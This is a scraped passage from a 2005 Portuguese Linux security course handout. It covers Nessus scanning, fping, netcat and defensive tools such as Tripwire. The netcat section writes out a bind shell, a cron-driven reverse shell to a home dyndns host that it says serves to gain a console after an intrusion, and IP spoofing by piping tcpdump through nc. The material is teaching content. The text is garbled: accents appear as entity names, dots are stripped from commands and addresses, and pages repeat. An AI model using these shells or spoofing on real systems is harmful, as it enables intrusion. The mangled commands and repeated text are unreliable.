varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 46: Curso de segurança em linux e redes em geral

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 47: Curso de segurança em linux e redes em geral

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no 